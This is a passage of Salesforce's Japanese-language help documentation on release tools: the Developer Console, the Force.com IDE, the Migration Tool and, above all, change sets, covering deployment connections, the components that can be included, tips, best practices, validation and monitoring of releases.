関連トピック:

コードではなくてクリックによる Salesforce の拡張
コードを使用した Salesforce の拡張
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開発者コンソールでの Apex の開発およびリリース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、
Enterprise Edition、および
Database.com Edition

ユーザ権限

Apex 開発ツールを使用す
る
• 「Apex 開発」

開発者コンソールは、Salesforce 組織のアプリケーションの作成、デバッグ、お
よびテストに使用できる一連のツールを備えた統合開発環境です。

関連トピック:

開発者コンソールを開く
開発者コンソールの機能

Force.com IDE を使用した作成およびリリース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、
Enterprise Edition、および
Database.com Edition

Force.com IDEをダウンロードすると、組織のプロジェクトをコーディングする場
合に役立ちます。また、このツールを使用して、記述したコードのコンパイル
およびテスト、Sandbox内での変更内容の同期、本番組織へのコードのリリース
も可能です。
詳細については、Force.com IDE のページを参照してください。

メモ: Force.com IDEは Salesforce により提供される、ユーザとパートナーをサ
ポートする無料のリソースですが、Salesforce のマスターサブスクリプショ
ン契約 (MSA) におけるサービスの一部とはみなされません。

関連トピック:

SOAP API を使用した作成およびリリース
変更の作成ツールとリリースツールの選択
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SOAP API を使用した作成およびリリース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、
Enterprise Edition、および
Database.com Edition

SOAP APIを使用すれば、プログラムで変更を作成したり、開発組織またはSandbox

組織にリリースしたりできます。
SOAP API、およびその他の API についての詳細は、『SOAP API 開発者ガイド』を参
照してください。

関連トピック:

変更の作成ツールとリリースツールの選択

Force.com 移行ツールを使用したリリース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、
Enterprise Edition、および
Database.com Edition

ユーザ権限

Apex 開発ツールを使用す
る
• 「Apex 開発」

Apache の Ant 開発ツールを使用して Developer Edition または Sandbox を使用してい
る組織から本番組織にメタデータの変更および Apex クラスをファイルベースで
リリースする場合は、Force.com 移行ツールをダウンロードします。
1. Salesforce 開発者の「Force.com Migration Tool」ページから Force.com 移行ツール

をダウンロードします。
2. salesforce_ant.zip ファイルを保存して、任意の場所に内容を展開しま

す。
salesforce_ant.zip ファイルには、compileAndTest API コールを実行する
Ant タスクを実行するために必要な次のファイルが格納されています。
• ツールの使用方法を説明した Readme.html ファイル
• Ant タスクを含む Jar ファイル: ant-salesforce.jar

• 次の内容を含むサンプルフォルダ:

– SampleDeployClass.cls と SampleFailingTestClass.cls を含む
codepkg\classes フォルダ

– SampleAccountTrigger.trigger を含む codepkg\triggers フォル
ダ

– 例で使用するカスタムオブジェクトを含む mypkg\objects フォルダ
– 組織から例を削除するための XML ファイルを含む removecodepkg フォルダ
– build.xml の Ant タスクを実行するための認証情報を指定するサンプル build.properties ファイル
– deploy および retrieve API コールを実行するサンプル build.xml ファイル
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メモ: Force.com 移行ツールは Salesforce により提供される、ユーザとパートナーをサポートする無料のリ
ソースですが、Salesforce のマスターサブスクリプション契約 (MSA) におけるサービスの一部とはみなされ
ません。

関連トピック:

https://developer.salesforce.com/docs/atlas.en-us.daas.meta/daas/

変更の作成ツールとリリースツールの選択

変更セットを使用したリリース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ワークフロー、ルール、Apex クラス、トリガ、およびその他のカスタマイズを
Sandbox 組織から本番組織にリリースできます。Salesforce ユーザインターフェー
スで送信変更セットを作成し、対象組織にアップロードおよびリリースするコ
ンポーネントを追加できます。変更セットにアクセスするには、[設定] から、
[クイック検索]ボックスに「送信変更セット」と入力し、[送信変更セット]を選
択します。

関連トピック:

変更セット
変更の作成ツールとリリースツールの選択

リリースのための組織の接続
変更セットの接続をリリースし、リリース接続を承認します。

変更セットのリリース接続
ある組織から別の組織に変更セットを送信するには、2 つの Salesforce 組織間のリリース接続が必要です。
リリース接続を任意の組織間に作成することはできません。その代わりに、本番組織に関連付けられてい
るすべての組織間に接続を作成します。たとえば、1 つの本番組織と 2 つの Sandbox を所有している場合、
リリース接続は本番組織と各 Sandbox 間で作成されます。また、2 つの Sandbox 間でもリリース接続が作成
されます。
リリース接続の承認
変更の受信を承認することにより、ログインしている組織に別の Salesforce 組織が変更セットを送信できる
ようにします。
選択可能なリリース接続の参照
リリース接続によって、カスタマイズ内容をある Salesforce 組織から別の組織にコピーできます。リリース
接続リストには、この組織に変更をアップロードできる組織、およびこの組織が変更をアップロードでき
る組織が表示されます。
リリース接続の詳細の参照
リリース接続によって、カスタマイズ内容をある Salesforce 組織から別の組織にコピーできます。リリース
接続リストには、この組織に変更をアップロードできる組織、およびこの組織が変更をアップロードでき
る組織が表示されます。
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変更セットのリリース接続

ユーザ権限

リリース接続を編集する
• 「変更セットのリリー

ス」および「すべての
データの編集」

ある組織から別の組織に変更セットを送信するには、2 つのSalesforce組織間のリ
リース接続が必要です。リリース接続を任意の組織間に作成することはできま
せん。その代わりに、本番組織に関連付けられているすべての組織間に接続を
作成します。たとえば、1 つの本番組織と 2 つの Sandbox を所有している場合、
リリース接続は本番組織と各 Sandbox 間で作成されます。また、2 つの Sandbox

間でもリリース接続が作成されます。
リリース接続だけでは、変更セットを組織間で送信することはできません。変
更セットの送受信を行うためには、各組織が認証されている必要があります。このセキュリティレベルの強化
によって、コードプロモーションパスを適用し、組織の設定メタデータが間違って上書きされるのを防ぎま
す。
たとえば、次の図は本番組織 (Prod) と開発用 (Dev)、テスト用 (Test) の 2 つの Sandbox に対して可能な移行パスを
表しています。この例では、すべてテスト済みの変更のみを本番組織が受信できるようになりました。した
がって、テスト用 Sandbox のみが本番組織への変更セットのアップロードを許可されます。開発プロジェクト
を本番組織と同期させるために、本番組織は変更セットを開発用Sandboxに送信できますが、テスト用Sandbox

には送信できません。最後に、開発中の機能は反復テストが必要なため、開発用とテスト用の Sandbox の間で
相互に変更セットを送受信できるようにする必要があります。

変更セット認証によりコードパスを適用する

メモ: この図は、考えられるコード移行パスの 1 つを示しています。部門は、変更セットを組織間で送受
信するために、組織に対して独自のポリシーを作成する必要があります。

関連トピック:

変更セットのリリース
選択可能なリリース接続の参照
リリース接続の承認
リリース接続の詳細の参照
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リリース接続の承認
変更の受信を承認することにより、ログインしている組織に別のSalesforce組織が変更セットを送信できるよう
にします。
1. [設定] で、[クイック検索] ボックスに「リリース」と入力し、[リリース設定] を選択して、[続行] をクリッ

クします。
2. 承認する組織の横にある [編集] をクリックします。
3. [変更着信を許可] を選択します。
4. [保存] をクリックします。

関連トピック:

選択可能なリリース接続の参照
リリース接続の詳細の参照
変更セットのリリース接続

選択可能なリリース接続の参照
リリース接続によって、カスタマイズ内容をあるSalesforce組織から別の組織にコピーできます。リリース接続
リストには、この組織に変更をアップロードできる組織、およびこの組織が変更をアップロードできる組織が
表示されます。
使用可能な接続を表示するには、[設定] から、[クイック検索]ボックスに「リリース」と入力し、[リリース状
況] を選択します。
アクション

変更セットの送受信を許可または禁止する組織の横にある [編集] をクリックします。
名前

現在ログインしている組織とリリース接続が確立されている組織のリスト。接続についての詳細を参照す
る組織の名前をクリックします。

説明
接続している組織の簡単な説明。

種別
接続している組織の種別。値には、本番、Full Copy Sandbox、設定のみ Sandbox、Developer Sandbox がありま
す。

アップロードの認証方向
矢印はアップロードが発生する方向を示しています。破線は変更セットがどちらの方向に対しても認証さ
れないことを意味します。接続された組織が受信変更セットを送信できるようにするには、この組織のリ
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リース接続を編集します。送信変更セットを接続された組織に送信する場合、組織のシステム管理者は、
その組織の接続を編集する必要があります。

関連トピック:

リリース接続の承認
リリース接続の詳細の参照
変更セットのリリース接続

リリース接続の詳細の参照
リリース接続によって、カスタマイズ内容をあるSalesforce組織から別の組織にコピーできます。リリース接続
リストには、この組織に変更をアップロードできる組織、およびこの組織が変更をアップロードできる組織が
表示されます。
接続の詳細を参照する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「リリース」と入力し、[リリース設定] を選択します。
2. 表示する組織名をクリックします。
名前

選択した組織の名前。これは、ログインしている組織ではありません。
説明

組織の簡単な説明。
種別

接続している組織の種別。値には、本番、Full、Partial Copy、Developer Pro、Developer があります。
変更の受信を許可

選択すると、指定した組織が、現在ログインしている組織に変更セットを送信できるようになります。こ
れは参照専用の項目で、対象組織で [変更の受信を許可] を選択することによってのみ変更できます。

変更の送信を受け入れる
選択すると、指定した組織に、現在ログインしている組織から変更セットを送信できるようになります。

関連トピック:

リリース接続の承認
選択可能なリリース接続の参照
変更セットのリリース接続
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変更セット
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

リリース接続を編集する
• 「変更セットのリリー

ス」および「すべての
データの編集」

送信変更セットを使用す
る
• 「変更セットの作成と

アップロード」

「AppExchange パッ
ケージの作成」

および

「AppExchange パッ
ケージのアップロー
ド」

受信変更セットを使用す
る
• 「変更セットのリリー

ス」および「すべての
データの編集」

変更セットを使用すると、Salesforce 組織間でカスタマイズを送信できます。た
とえば、Sandbox 組織で新しいオブジェクトを作成してテストしてから、変更
セットを使用して本番組織に送信することができます。変更セットには、[設定]

メニューから実行できる変更のみを含めることができます。たとえば、変更セッ
トを使用して、取引先責任者レコードのリストをアップロードすることはでき
ません。変更セットに組織に関する情報は含まれますが、レコードなどのデー
タは含まれません。
現在の組織から別の組織にカスタマイズを送信する場合は、送信変更セットを
作成します。送信した変更セットは、受信側の組織には受信変更セットとして
表示されます。
2 つの組織間で変更セットを送信するには、リリース接続が必要です。変更セッ
トは本番組織と関連付けられている組織間でのみ送信できます。たとえば、本
番組織と Sandbox 間、または同じ組織から作成された 2 つの Sandbox 間で変更セッ
トを送受信できます。

変更セットの権限セットおよびプロファイルの設定
開発者は権限セットまたはプロファイル設定を使用して、変更セットの権限
およびその他のアクセス設定を指定できます。権限セット、プロファイル設
定、または両方の組み合わせを使用するかどうかを決定する場合は、類似点
と相違点を考慮します。
変更セットで使用可能なコンポーネント
変更セットに使用できるコンポーネントは、環境とエディションによって異
なります。また、一部のコンポーネントでは、Salesforce 組織で対応する機能
が有効になっている必要があります。
変更セットの実装のヒント
変更セットを実装する前に、次のヒントを確認してください。
変更セットのベストプラクティス
連動関係、入力規則、およびアクセスの設定に関する次のベストプラクティ
スを確認してください。
受信変更セットのリリース
受信変更セットは、別の Salesforce 組織からログインしている組織に送信され
た変更セットです。変更を適用するには、変更セットをリリースする必要があります。受信変更セットの
内容は、コンポーネント単位ではなく、全体をまとめてリリースできます。
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送信変更セットのアップロード
送信変更セットは、ログインしている Salesforce 組織で作成された、他の組織に送信するための変更セット
です。一般に送信変更セットは、Sandbox でカスタマイズ内容を作成およびテストした後に本番組織に送信
するために使用されます。

関連トピック:

変更セットのリリース接続
リリースの特殊な動作

変更セットの権限セットおよびプロファイルの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

権限セットを使用可能な
エディション: Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

開発者は権限セットまたはプロファイル設定を使用して、変更セットの権限お
よびその他のアクセス設定を指定できます。権限セット、プロファイル設定、
または両方の組み合わせを使用するかどうかを決定する場合は、類似点と相違
点を考慮します。

プロファイルの設定権限セット動作

権限および設定が含まれ
る

•• タブ設定標準オブジェクト権限
• •標準項目権限 ページレイアウトの割

り当て• ユーザ権限 (「API の有
効化」など) • レコードタイプの割り

当て
メモ: 割り当てられ
たアプリケーショ
ンおよびタブ設定
は、権限セットコ
ンポーネントには
含まれません。

• ログイン IP の範囲
• ユーザ権限

サポートコンポーネント
に必要な権限および設定
が含まれる

•• 割り当てられたアプリ
ケーション

カスタムオブジェクト
権限

• •カスタム項目権限 カスタムオブジェクト
権限• Apexクラスのアクセス

• カスタム項目権限• Visualforce ページのア
クセス • Apexクラスのアクセス

• Visualforce ページのア
クセス

いいえ。プロファイルは
別の設定で追加されま
す。

はいコンポーネントとして追
加されるか?
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カスタムオブジェクト権限、カスタム項目権限、Visualforce ページのアクセス、Apex クラスのアクセスについ
ては、常にサポートコンポーネントを変更セットに含めます。たとえば、カスタムオブジェクト Items のオブ
ジェクト権限は、Items オブジェクトも含まれる場合に限り含まれます。

メモ: プロファイル設定に含まれるログイン IP 範囲は、リリース先組織に一致するプロファイルがあれ
ば、そのログイン IP 範囲を上書きします。

関連トピック:

受信変更セットのリリース
送信変更セットのアップロード

変更セットで使用可能なコンポーネント
変更セットに使用できるコンポーネントは、環境とエディションによって異なります。また、一部のコンポー
ネントでは、Salesforce 組織で対応する機能が有効になっている必要があります。
変更セットに次の種類のコンポーネントが追加される場合があります。

メモ:

• 変更セットで使用できないコンポーネントを作成または変更すると、これらのコンポーネントを変更
セットに含めて別の組織に送信することはできません。この場合、コンポーネントを作成または変更
した場合に実行した手順を繰り返し、手動で変更を移行します。

• 変更セットをリリースすると、リストビューがすべてのユーザに表示されます。必要に応じて、対象
組織で表示設定を変更します。

• リリースされたカスタムタブは、デフォルトですべてのユーザに対して非表示になっています。こら
らのタブは、表示プロパティを適切に設定するプロファイルも変更セットに含まれる場合にのみ表示
されます。Professional Edition 組織はこの例外で、リリースされたカスタムタブがデフォルトで常時表示
されます。

• [私の非公開カスタムレポート] フォルダに保存されたレポート (非公開レポート) は、変更セットに追
加可能なレポートのリストに表示されません。[未整理公開レポート] フォルダに保存されたレポート
は、変更セットに追加可能なレポートのリストに表示されますが、変更セットに追加されてもリリー
スされません。変更セットを使用して非公開レポートまたは未整理レポートをリリースするには、最
初にレポートを別のレポートフォルダにコピーまたは移動します。

• 取引先条件に基づく共有ルール
• 取引先所有者の共有ルール
• 取引先テリトリー所有者の共有ルール
• アクション (オブジェクト固有のクイックアクションおよびグローバルクイックアクションを含む)

• アクションリンクグループテンプレート
• レポート作成スナップショット
• Apex クラス
• Apex 共有の理由
• Apex トリガ
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• アプリケーション
• 承認プロセス (制限あり)

• 割り当てルール
• 認証プロバイダ
• AutoResponse ルール
• ボタンまたはリンク
• コールセンター
• キャンペーン条件に基づく共有ルール
• キャンペーン所有者の共有ルール
• ケース条件に基づく共有ルール
• ケース所有者の共有ルール
• コミュニティ (ゾーン)

• コンパクトレイアウト
• 取引先責任者条件に基づく共有ルール
• 取引先責任者所有者の共有ルール
• CORS ホワイトリストのオリジン
• カスタムデータ型
• カスタム項目
• カスタム表示ラベル (標準オブジェクトの表示ラベルの変更を除く。詳細は、「カスタム表示ラベル」を参

照してください)。
• カスタムオブジェクト
• カスタムオブジェクト条件の共有ルール
• カスタムオブジェクト所有者の共有ルール
• カスタムレポートタイプ
• カスタム設定
• ダッシュボード
• ドキュメント
• メールテンプレート
• エンタイトルメントプロセス
• エンタイトルメントテンプレート
• 外部データソース
• エスカレーションルール
• 項目セット
• FlowDefinition

• フォルダ
• グローバル選択リスト (API バージョン 37.0 のみ)

• グローバル値セット
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• グループ
• ホームページのコンポーネント
• ホームページのページレイアウト
• レターヘッド
• 言語翻訳
• リード条件に基づく共有ルール
• リード所有者の共有ルール
• Lightning ページ
• リストビュー
• Live Agent の設定
• Live Chat のリリース
• Live Chat 機密データルール
• 一致ルール
• マイルストン
• 指定ログイン情報
• 商談条件に基づく共有ルール
• 商談所有者の共有ルール
• ページレイアウト
• 権限セット
• プラットフォームキャッシュ区分
• Chatter での承認に使用する投稿テンプレート
• キュー
• レコードタイプ
• リモートサイト
• レポート (制限あり。ページ上部の注意を参照してください)

• ロール
• Sコントロール
• 送信アクション
• 共有セット
• Site.com

• 静的リソース
• タブ
• テリトリー
• トランザクションセキュリティポリシー
• ユーザの条件に基づく共有ルール
• ユーザのメンバーシップに基づく共有ルール
• 入力規則
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• Visualforce コンポーネント
• Visualforce ページ
• Wave アプリケーション
• Wave ダッシュボード
• Wave データフロー
• Wave データセット
• Wave レンズ
• ワークフローメールアラート
• ワークフロー項目自動更新
• ワークフローアウトバウンドメッセージ
• ワークフロールール
• ワークフロー ToDo

• ワークフロータイムトリガ

変更セットでの承認プロセスの制限
変更セットに承認プロセスを含める前に、次の制限を確認してください。

関連トピック:

変更セットの確認
送信変更セットの作成
送信変更セットのコンポーネントの選択
リリースの特殊な動作

変更セットでの承認プロセスの制限
変更セットに承認プロセスを含める前に、次の制限を確認してください。
• 承認ページの項目に標準オブジェクトのカスタム項目が含まれている場合は、そのカスタム項目を送信変

更セットに手動で追加する必要があります。変更セットコンポーネントを選択するための [連動関係を参
照/追加] オプションには、これらの項目は含まれません。

• 承認プロセスで、カスタム項目を含む投稿テンプレートを参照している場合、変更セットに追加する前に
これらの投稿テンプレートを送信側組織に再保存する必要があります。[設定] から、[クイック検索] ボッ
クスに「投稿テンプレート」と入力し、[投稿テンプレート]を選択します。各投稿テンプレートで、[編集]、
[保存] の順にクリックします。

• 変更セットには、ソース組織の有効承認プロセスの順序は含まれません。場合によっては、リリース後に
対象組織で承認プロセスを並び替える必要があります。

• 変更セットに以前に含まれており別の組織でリリース済みの承認プロセスの [一意の名前]を変更し、変更
セット経由で承認プロセスを再送信する場合は、他の組織でリリースされる時点で新しい承認プロセスが
作成されます。以前にリリースされた承認プロセスは、変更されません。
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変更セットの実装のヒント
変更セットを実装する前に、次のヒントを確認してください。
変更をアップロードするために必要な認証

ある組織から別の組織へ変更セットをリリースする前に、リリース先組織の管理者が、2 つの組織間のリ
リース接続を介したアップロードを許可する必要があります。

リリース接続リストにすべての接続が表示される
[リリース接続] リストには、本番組織およびすべての Sandboxが自動的に取り込まれます。これらの組織間
ではリリース可能ですが、それ以外の組織間ではできません。

メンテナンス中は変更セット接続を使用できない
リリース接続の承認とページのアップロードでは、本番組織からの情報が必要になります。そのため、本
番組織でメンテナンスが行われている間は使用できません。この間に送信変更セットを作成できますが、
アップロードはできません。

Sandbox が利用可能であることが必要
組織に Sandboxがインストールされていない場合、[リリース接続] ページに「アクセス権がありません」と
いうエラーが表示されることがあります。

リリースは自動的には再起動しない
変更セットの検証またはリリース時にエラーが発生した場合、手動でプロセスを再起動する必要がありま
す。組織がロックされていない、メンテナンス中、またはその他の理由でアクセスできないことがないよ
うにします。

リリースは単一方向のトランザクション
変更セットは、1 つのトランザクションで展開します。何らかの理由でリリースが完了できないときは、ト
ランザクション全体がロールバックされます。リリースが正常に完了した後は、すべての変更が組織にコ
ミットされます。リリースはロールバックできません。

リリースではユーザ参照が保持される
変更セット内のコンポーネントがワークフローメール通知の受信者やダッシュボード実行ユーザなど特定
のユーザを参照している場合、リリース時にシステムでユーザ名を比較してリリース先組織に一致するユー
ザがいるか検索されます。
データを Sandbox にコピーすると、ユーザ名を含む本番組織の項目は Sandbox 名を含むように変更されま
す。たとえば、test という名前の Sandbox の場合、ユーザ名 user@acme.com は user@acme.com.test

になります。変更セットを使用したリリース中、ユーザ名の .testは無視されます。このプロセスでは、
ある Sandbox のコンポーネントに追加されたユーザを他の Sandbox または本番組織に移行します。

多くの連動コンポーネントを含む変更セット
変更セットに多くの連動関係があるコンポーネントが含まれる場合や、コンポーネントの親に多くの連動
関係がある場合、Salesforce で変更セットを開くのに数分かかる可能性があります。この遅延は、Salesforce

が変更セットページを表示する前にコンポーネントの連動関係をチェックしているために発生します。多
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くの連動関係があるコンポーネントの例として、2,500 の連動コンポーネントを含むカスタムオブジェクト
に属するカスタム項目などがあります。

関連トピック:

変更セットのベストプラクティス
リリースの特殊な動作

変更セットのベストプラクティス
連動関係、入力規則、およびアクセスの設定に関する次のベストプラクティスを確認してください。
すべての連動コンポーネントをリリースする

リリース先の組織に存在しない、相互に連動関係のあるコンポーネントのすべてを各送信変更セットに含
めてください。リリース先の組織および変更セットに含まれていない別のコンポーネントを参照するコン
ポーネントをリリースしようとすると、リリースは失敗します。
変更セットを使用すると、リリースする内容をきめ細かく制御できます。たとえば、カスタム項目を個別
に移行できます。カスタムオブジェクトとそのすべての項目をリリースするには、カスタムオブジェクト
とすべての項目を変更セットに追加する必要があります。カスタムオブジェクトだけを変更セットに追加
すると、リリースは失敗しませんが、空のカスタムオブジェクトがリリースされます。

送信変更セットに権限およびアクセス設定を追加する
プロファイルまたは権限セットを送信変更セットに追加すると、システム管理者は、ユーザが新しい機能
にアクセスできるようにユーザの権限を移行できます。変更セットの権限セットおよびプロファイルの設
定には大きな違いがあります。詳細は、「変更セットの権限セットおよびプロファイルの設定」 (ページ
6938)を参照してください。

変更セットのコピーを作成して、アップロードされた変更セットに連動コンポーネントを追加する
変更セットをアップロードしたら、内容は変更できません。連動コンポーネントをすでにアップロードさ
れた変更セットに追加する必要がある場合は、変更セットのコピーを作成し、連動コンポーネントを追加
してもう一度アップロードします。

グローバルパブリッシャーレイアウトと Outlook パブリッシャーレイアウトに個別の名前を使用する
送信変更セットにページレイアウトを追加する場合、グローバルパブリッシャーレイアウトと Outlook パブ
リッシャーレイアウトのタイプが表示されません。グローバルパブリッシャーレイアウトと Outlook パブ
リッシャーレイアウトに一意の名前を付け、送信変更セットで両者を区別できるようにします。

メンテナンスのスケジュールを避けてリリースを計画する
本番組織とSandbox組織の両方に予定されているメンテナンスのスケジュールを避けて、リリース活動を計
画してください。機能の中には、Sandboxからアクセスするときに本番組織の情報を必要とするものがあり
ます。さらに、送信変更セットの検証中は送信側組織がロックされ、受信変更セットのリリース中はリリー
ス先組織がロックされます (変更セットが組織をロックしても、組織に対するデータの読み取りや書き込み
はできますが、メタデータを変更する設定変更は行えません)。

リリース前の変更セットを確認する
受信変更セットのテストリリースを行い、実際のリリースで発生する成功または失敗のメッセージを確認
できます。スケジュール通り (たとえば、使用率の低い時間帯など) のリリースを計画している場合や、前
もってリリースが成功するか判断したい場合には、よい方法です。ただし、この処理は、完了までに時間
がかかり、組織はその間ロックされるため、リリース時に毎回テストリリースを実行する必要はありませ
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ん (処理中でも組織に対するデータの読み取りや書き込みはできますが、メタデータを変更する設定変更は
行えません)。受信変更セットをテストリリースするには、変更セットの名前をクリックしてから、[検証]

をクリックします。
コンポーネントの詳細を表示する

送信変更セットをアップロードした後や、受信変更セットをリリースする前に、コンポーネントの XML 表
記を表示できます。

変更セットを 10,000 個のファイルに制限する
変更セットが 10,000 個のファイルに制限されます。変更セットがこの制限を超えている場合、メールテン
プレート、ダッシュボード、およびレポートに個別の変更セットを作成できます。これらのコンポーネン
トは最も数が多く、連動関係の数は少なくなっています。

Web インターフェースを使用して項目を削除または名前変更する
コンポーネントの削除または名前変更をするために変更セットを使用することはできません。コンポーネ
ントを削除するには、リリース先組織の Web インターフェースを使用します。コンポーネントの名前を変
更するには、リリース先組織でコンポーネントを削除してから、変更セットで新しいコンポーネントをアッ
プロードします。

変更セットにデータ型の変更が含まれる場合はリリースに時間がかかる可能性を考慮する
変更セットにカスタム項目のデータ型の変更が含まれる場合、こうした変更によって大量のレコードの変
更が必要になることがあるため、リリースに相当の時間を要する可能性があります。リリースの大幅な遅
延を回避するための代替法は、変更セットをリリースした後にデータ型の変更を手動で適用することです。

リリース先組織でのテストの実行を計画する
変更セットが本番組織にリリースされるとき、Apex クラスまたはトリガをリリースする場合はデフォルト
でその組織のすべてのローカル Apex テストが実行されます。ただし、リリース先の組織がSandboxの場合、
テストは自動的には実行されません。

関連トピック:

変更セットの実装のヒント
リリースの特殊な動作

受信変更セットのリリース

ユーザ権限

受信変更セットをリリー
スする
• 「変更セットのリリー

ス」および「すべての
データの編集」

受信変更セットは、別の Salesforce 組織からログインしている組織に送信された
変更セットです。変更を適用するには、変更セットをリリースする必要があり
ます。受信変更セットの内容は、コンポーネント単位ではなく、全体をまとめ
てリリースできます。

受信変更セットの参照
[受信変更セット] ページには、リリース待ちの変更セットとリリース済み変
更セットの履歴が表示されます。
変更セットの詳細の参照
[変更セット] 詳細ページには、特定の変更セットに関する情報が表示されます。
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変更セットの確認
変更をリリースしなくても変更セットを確認できます。変更セットを確認することで、実際のリリースで
受信する成功または失敗のメッセージを確認できます。
変更セットのリリース
変更セットのリリースの監視
変更セットは、サイズと複雑さによって、リリースに要する時間が決まります。リリースされるまでの間、
リリース処理を監視すると役に立つ場合があります。

関連トピック:

変更セット

受信変更セットの参照
[受信変更セット] ページには、リリース待ちの変更セットとリリース済み変更セットの履歴が表示されます。
受信変更セットを表示するには、[設定] から、[クイック検索]ボックスに「受信変更セット」と入力し、[受信
変更セット] を選択します。

メモ: 受信変更セットは、変更セットがアップロードされてから 6 か月経過すると永久に削除されます。

関連トピック:

変更セットの詳細の参照
変更セットの確認
変更セットのリリース

変更セットの詳細の参照
[変更セット] 詳細ページには、特定の変更セットに関する情報が表示されます。
1. [設定] から、[クイック検索] ボックスに「受信変更セット」と入力し、[受信変更セット] を選択します。
2. 変更セットの名前をクリックします。

関連トピック:

受信変更セットの参照
変更セットの確認
変更セットのリリース

変更セットの確認
変更をリリースしなくても変更セットを確認できます。変更セットを確認することで、実際のリリースで受信
する成功または失敗のメッセージを確認できます。
1. [設定] から、[クイック検索] ボックスに「受信変更セット」と入力し、[受信変更セット] を選択します。
2. 変更セットの名前をクリックします。
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3. [検証] をクリックします。

メモ: ピーク時間外に検証を開始し、検証の進行中は組織への変更を制限することをお勧めします。
検証プロセスでは、リリースされるリソースがロックされます。検証の進行中にロックされたリソー
ス、またはそれらのリソースに関連付けられた項目を変更すると、エラーが発生する可能性がありま
す。

4. 確認が完了したら、[結果を参照] をクリックします。
変更セットが正常に検証されている場合は、クイックリリースの対象になる可能性があります。詳細は、「ク
イックリリース」を参照してください。

関連トピック:

受信変更セットの参照
変更セットの詳細の参照
変更セットのリリース

変更セットのリリース
1. [設定] から、[クイック検索] ボックスに「受信変更セット」と入力し、[受信変更セット] を選択します。
2. [リリース待ちの変更セット] リストで、リリースする変更セットの名前をクリックします。
3. [リリース] をクリックします。
または、本番環境へのリリース時間を短縮するクイックリリースを実行できます。変更セットが正常に検証さ
れている場合は、クイックリリースの対象になる可能性があります。詳細は、「クイックリリース」を参照し
てください。
変更セットは、1 つのトランザクションで展開します。何らかの理由でリリースが完了できないときは、トラ
ンザクション全体がロールバックされます。リリースが正常に完了した後は、すべての変更が組織にコミット
されます。リリースはロールバックできません。

メモ: Force.comプラットフォームでは、本番組織にリリースする前に、コードのうち少なくとも 75% が単
体テストを受ける必要があります。100% のコードをテストすることが理想的です。コードの対象範囲の
制限は、Sandbox または Developer Edition 組織には適用されません。

リリースオプション
コンポーネントが Apex ジョブから参照されているときにリリースが失敗するのを防ぐには、[リリース設定]

ページで [対応する Apex ジョブが待機中か処理中の場合、コンポーネントのリリースを許可する] をクリック
してから[保存]をクリックします。このオプションを使用すると、待機中か処理中かに関係なく、Apexジョブ
(スケジュール済みジョブ、一括処理ジョブ、および future メソッドなど) で参照されるコンポーネントをリリー
スできます。このオプションは、メタデータ API で開始された変更セットおよびリリースに適用されます。

メモ:

• このオプションを有効にすると、サポートされていない変更が原因で、Apexジョブが失敗する可能性
があります。
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• このオプションは、Salesforce ユーザインターフェース ([設定] または開発者コンソール) での Apex コー
ドの編集および保存には適用されません。そのため、Apexクラスに関連付けられた有効なジョブがあ
る場合は失敗します。このオプションが有効になっている場合、Force.com IDE を使用した Apex コード
の更新は成功します。これは、コードの更新にメタデータ API が使用されるためです。

関連トピック:

受信変更セットの参照
変更セットの詳細の参照
リリースの特殊な動作
変更セットのリリースの監視

変更セットのリリースの監視
変更セットは、サイズと複雑さによって、リリースに要する時間が決まります。リリースされるまでの間、リ
リース処理を監視すると役に立つ場合があります。
[リリース状況] ページで、処理中のリリースの状況を追跡します ([設定] から、[クイック検索] ボックスに [リ
リース状況] と入力し、[リリース状況] を選択します)。[リリース状況] ページには、完了したリリースも表示
されます。
または、[変更セットの詳細] ページで、完了したリリースを確認することもできます。[設定] からこのページ
にアクセスするには、[クイック検索]ボックスに「受信変更セット」と入力し、[受信変更セット]を選択して、
リリース済み変更セットの名前をクリックします。変更セットのリリースは、[リリース履歴] セクションの下
に表示されます。

関連トピック:

変更セットのリリース
変更セットのリリース接続
リリースの監視
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送信変更セットのアップロード

ユーザ権限

送信変更セットを作成、
編集、またはアップロー
ドする
• 「変更セットの作成と

アップロード」

「AppExchange パッ
ケージの作成」

および

「AppExchange パッ
ケージのアップロー
ド」

送信変更セットは、ログインしている Salesforce 組織で作成された、他の組織に
送信するための変更セットです。一般に送信変更セットは、Sandbox でカスタマ
イズ内容を作成およびテストした後に本番組織に送信するために使用されます。

メモ: 変更セットのファイル数は 10,000 件、合計サイズは 400 MB に制限さ
れています。変更セットコンポーネントは、メタデータ XML ファイルとし
て表されます。変更セットのコンポーネント数が約 5,000 を超えていないこ
とを確認します。

送信変更セットを別の組織に送信しても、その組織で変更が実装されることを
保証するものではありません。変更が適用されるには、送信先組織が変更セッ
トをリリースする必要があります。

ヒント: 円滑なリリースを行えるように、変更セット内の権限セットとプ
ロファイル設定に関する情報を確認してください。

変更セットをアップロードした後、その状況は完了になり、コンポーネントを
変更できません。また、完了した変更セット内のコンポーネントは更新されません。同じコンポーネントの
セットを再リリースするには、変更セットをコピーします。コピーした変更セットには、コンポーネントソー
スへの最新の変更が含まれます。コピーした変更セット内のコンポーネントは追加または削除できます。変更
セットのコピーは、プロジェクトの反復フェーズで役立ちます。

送信変更セットのコンポーネントの選択
連動コンポーネントの表示と変更セットへの追加
連動関係は、1 つまたは複数のコンポーネントが別のコンポーネントに対して存在する必要がある関係で
す。変更セットがリリースされるすべての組織に連動コンポーネントが存在することが明らかでない場合
